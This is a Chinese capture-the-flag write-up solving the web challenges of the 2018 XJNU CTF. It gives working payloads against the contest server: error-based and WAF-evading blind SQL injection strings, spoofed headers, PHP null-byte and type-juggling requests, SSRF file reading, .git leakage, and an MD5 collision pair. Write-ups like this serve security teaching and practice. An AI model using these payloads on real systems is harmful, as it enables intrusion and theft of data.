2018 XJNU CTF Web Writeup
比较简单的新疆师范大学的 CTF 比赛 http://ctf.xjnu.edu.cn/
Web10
整个网站疯狂暗示使用 sqlmap,然后网站源代码中有这样一段
<!-- id=1 -->
然后在链接中加上 ?id=1
进行测试,出现了不同的返回。
初步判断 SQL 语句为:
select xxx from xxx where id=1
然后没有做任何的过滤,并且报错直接显示出来,因此使用报错注入。
http://ctf.xjnu.edu.cn:9900/web10/?id=1%20and%20extractvalue(1,concat(0x7e,(select%20flag%20from%20flag),0x7e))
XPATH syntax error: '~flag{Test_y0u_sql_Inject!}~'
Web20
直接访问题目地址
> http http://ctf.xjnu.edu.cn:9900/web20/
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 21
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:39:57 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21
你不属于这里!
然后目测是 XFF 判断本地
> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 24
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:44:55 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21
你还没有登录呢?
然后看到服务器给我们 Set 了一个 Cookie,修改为 1
> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 31
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:46:00 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21
很可惜你不是iPhone OS 999
然后去网上找了个 iPhone 的 User-Agent,并且改成了 iPhone OS 999
> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1 User-Agent:"Mozilla/5.0 (iPhone; CPU iPhone OS 999 like Mac OS X) AppleWebKit/604.1.34 Safari/604.1"
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 28
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:50:17 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21
flag: flag{h77p_He4dEr_50_E4sy}
<!-- flag not in html... -->
Web30
提示:小明 shell 下的编辑器用的比较 6
因此判断应该存在 shell 下运行编辑器时意外退出所留下的备份文件,扫描后发现了这个地址
http://ctf.xjnu.edu.cn:9900/web30/.index.php.swo
<?php
$get = $_GET['ctf'];
if ($get == '!#?&@') {
echo '<p> class="alert">Go on!</p>';
} else {
exit();
}
if (isset($_GET['password'])) {
if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo '<p class="alert">You password is error,must be test others</p>';
else if (strpos($_GET['password'], '--') !== FALSE){
$a = @$_GET['xjnu'];
$v1 = 0;
if (is_array($a)) {
is_numeric(@$a["bar1"]) ? die("No way!") : NULL;
if (@$a["bar1"]) {
($a["bar1"] > 2016) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
if (count($a["bar2"]) !== 3 or !is_array($a["bar2"][0])) die("No way!");
foreach ($a["bar2"] as $key => $val) {
if (preg_match('/2018/', $val)) {
die('No way!');
}
if ($val == 2018) {
die($flag);
}
}
}
}
}
else echo '<p class="alert">Invalid password</p>';
}
首先要满足的条件是 get 中的 ctf 参数为 !#?&@
,而默认情况下 #
以及其后面的东西不会被当成参数传递给服务器,所以我直接用 python 写参数了
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@'}).text
'<p class="alert">Go on!</p>'
ereg 方法存在 %00
截断漏洞,因此可以将 password 分为两部分,前面一部分是符合正则条件的字符,后面再加上 --
满足第二个要求
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--'}).text
'<p class="alert">Go on!</p>'
然后参数 xjnu 需要是一个数组,数组中的 bar1 不能是数字但是他要大于 2016,这里我们将 bar1 设置为2017a
,根据 PHP 特色,'2017a'>2016
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a'}).text
'<p class="alert">Go on!</p>'
然后 bar2 需要是一个数组,并且他的第一个元素也是一个数组,并且他有三个元素。此外 bar2 中还需要有一个元素等于 2018,但是其元素本身不允许存在字符 2018,因此这里用十六进制来表示
>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a','xjnu[bar2][0][]':'0','xjnu[bar2][1]':'1','xjnu[bar2][2]':'0x7E2'}).text
'<p class="alert">Go on!</p>flag{Php_iS_Mag1c!}'
Web40
题目没有给太多的提示,简单扫描之后发现了 .git 文件夹,通过 GitHack 找到了两个文件
> cat flag_2333_666.php
<?php
//$flag="{.git_H0w_Many_Y0u_kn0w!}"
> cat index.php
<?php
echo "flag is here";
将 flag 拼凑成固定的格式即得:flag{.git_H0w_Many_Y0u_kn0w!}
Web50
题目是一个登录界面,源代码中有提示,注入方向应该是密码列:
<!-- password columns-->
用户名存在但密码错误会返回 pass error
用户名不存在会返回 no such user
预计其使用了类似的 SQL 语句
select * from xxx where username='admin'
存在 WAF,过滤了如下:
- 空格
- select
- union
- and
- mid
- ascii
- from
- order
- by
- 井号(#)
- sleep
- substr
构建注入代码
a'/**/or/**/'1'='1
返回了 pass error
,说明存在注入
进一步构造,使用 left 函数逐位检查密码,丢入 Burpsuite 进行批量检查,例如
a'/**/or/**/left(password,1)='5
最终得到 32 位的密码,登录即可得 Flag
5781865f070113b76a9f40d48944d52b
flag{Waf_is_N0t_Exits!}
Web60
Hint: whois 找不到信息,也可以使用 ip 地址进行 whois 的吧
打开题目,源代码中有这样一段
<!-- [Redacted]!网址www.nk-[Redacted].com:2018) -->
然后看了看当前页面端口是 2017,直接改成 2018 就打开了另外一个页面
既然你费了这么大的劲来到了这里,我就直接告诉你,我们已经掌握了你们学校主站点的申请人的邮箱地址,需要你再次确认此邮箱是否正确,方能加入我们!
让我们输入一个邮箱,结合提示,whois 218.195.132.22
输入 redrose@xj.cninfo.net
即可以进行下一步
有一个 geturl 的按钮,有一个输入网址的地方,目测是一个 SSRF
输入了 aaaa://index.php
提交,然后奇迹发生了
if (preg_match('/index.php|flag_ssRf.php|etc/', $link)) {
# code...
echo file_get_contents(substr($link, 7));
}
大概的设计是输入 http://
开头的使用 curl 请求,包含了 index.php
这三个文件的直接读物文件内容并输出,因此顺利拿到 flag
Web80
一打开题目就提示 Git Revenge Come on
了,直接使用 GitHack,然后只能下载到 index.php,然而并没有什么用,所以直接将整个 .git 文件夹下了下来
commit bcf528e51e475cf22e864b7cbb7f1770124cc006 (HEAD -> master)
Author: Huseck <504038236@qq.com>
Date: Wed Sep 19 20:02:51 2018 +0800
remove something
commit bbb02a35384a81b4c003ce3e4ae03246b3638de0
Author: Huseck <504038236@qq.com>
Date: Wed Sep 19 20:01:59 2018 +0800
xjseck
发现有两个 commit,切换到第一个就能看到有三个文件了
flag_Revenge_2333333.php
<?php
include 'flag.php';
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die($flag);
}
highlight_file(__FILE__);
和上面那题使用的 GitHack 一样,考查 PHP 的特性,我们需要提交两个名字不一样但是 MD5 一样的玩意,通常我直接使用下面这个文件,使用 hexedit 直接写入成文件就好了,然后提交过去就能得到 flag
文件 1:
4dc968ff0ee35c209572d4777b721587
d36fa7b21bdc56b74a3dc0783e7b9518
afbfa200a8284bf36e8e4b55b35f4275
93d849676da0d1555d8360fb5f07fea2
文件 2:
4dc968ff0ee35c209572d4777b721587
d36fa7b21bdc56b74a3dc0783e7b9518
afbfa202a8284bf36e8e4b55b35f4275
93d849676da0d1d55d8360fb5f07fea2
Web100
打开题目跳转到 http://ctf.xjnu.edu.cn:666/index.php?file=upload.php
目测就存在文件包含漏洞。
没什么难度,生成一个文件名为 .png 的一句话,上传,包含,搞定